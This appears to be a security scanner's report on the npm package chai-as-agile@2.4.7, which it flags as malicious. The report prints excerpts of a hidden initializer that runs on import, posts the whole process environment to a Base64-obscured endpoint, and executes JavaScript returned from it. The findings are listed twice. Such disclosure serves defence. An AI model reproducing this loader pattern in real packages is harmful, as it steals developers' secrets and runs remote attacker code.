chai-as-agile@2.4.7: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

chai-as-agile@2.4.7: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

7const response = await axios.post( Buffer.from(endpoint, 'base64').toString('utf-8'), { ...process.env }, { headers: { "x-secret-header" : "secret" } }

High

Ai Review Evidence

The initializer posts the complete process environment to an obfuscated external endpoint.

lib/initializeCaller.jsView on unpkg · L7

12try { const executor = new Function("require", response.data); executor(require);

High

Ai Review Evidence

It compiles and executes JavaScript returned by that endpoint with access to require.

lib/initializeCaller.jsView on unpkg · L12

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

index.jsView file

7require('./lib/initializeCaller');

High

Ai Review Evidence

Importing the main entry point immediately loads the hidden initializer.

index.jsView on unpkg · L7

Source & flagged code

6 flagged

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const endpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(endpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

7const response = await axios.post( Buffer.from(endpoint, 'base64').toString('utf-8'), { ...process.env }, { headers: { "x-secret-header" : "secret" } }

High

Ai Review Evidence

The initializer posts the complete process environment to an obfuscated external endpoint.

lib/initializeCaller.jsView on unpkg · L7

12try { const executor = new Function("require", response.data); executor(require);

High

Ai Review Evidence

It compiles and executes JavaScript returned by that endpoint with access to require.

lib/initializeCaller.jsView on unpkg · L12

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

index.jsView file

7require('./lib/initializeCaller');

High

Ai Review Evidence

Importing the main entry point immediately loads the hidden initializer.

index.jsView on unpkg · L7